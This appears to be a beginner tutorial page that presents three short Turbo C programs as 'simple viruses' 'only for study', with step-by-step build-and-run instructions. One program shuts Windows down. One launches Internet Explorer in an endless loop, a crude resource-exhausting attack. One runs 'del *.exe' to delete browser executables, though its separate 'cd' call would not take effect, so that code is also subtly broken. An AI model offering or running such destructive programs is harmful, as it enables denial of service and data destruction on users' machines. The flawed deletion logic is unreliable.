Create simple virus in c programming language

Create simple virus by c programming language.(Only for study)

Write c program which shutdown the window operating system?

Answer:

Step 1: Write the following program in TURBO C.

#include<stdio.h>

#include<dos.h>

int main (void){

    system("shutdown -s");

    return 0;

}

Step 2: Save the above file. Let file name is close.c

Step 3: Only compile the above program.

Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)

Step 5: Double click on its .exe file (close.exe)

After some time your window operating system will shutdown.

(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?

Answer:

Step 1: Write the following program in TURBO C.

#include<stdio.h>

#include<dos.h>

int main (void){

for(; ;){

system("c:\\progra~1\\intern~1\\iexplore.exe");

}

return 0;

}

Step 2: Save the above file. Let file name is internet.c

Step 3: Only compile the above program.

Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)

Step 5: Double click on its .exe file (internet.exe)

(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?

Answer:

Write the following program in TURBO C.

#include<stdio.h>

#include<dos.h>

int main(void){

system("cd c:\\progra~1\\intern~1");

system("del *.exe");

system("cls");

return 0;

}

Step 2: Save the above file. Let file name is delete.c

Step 3: Only compile the above program.

Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)

Step 5: Double click on its .exe file (delete.exe)

Note: Above code has written in trubo c 3.0

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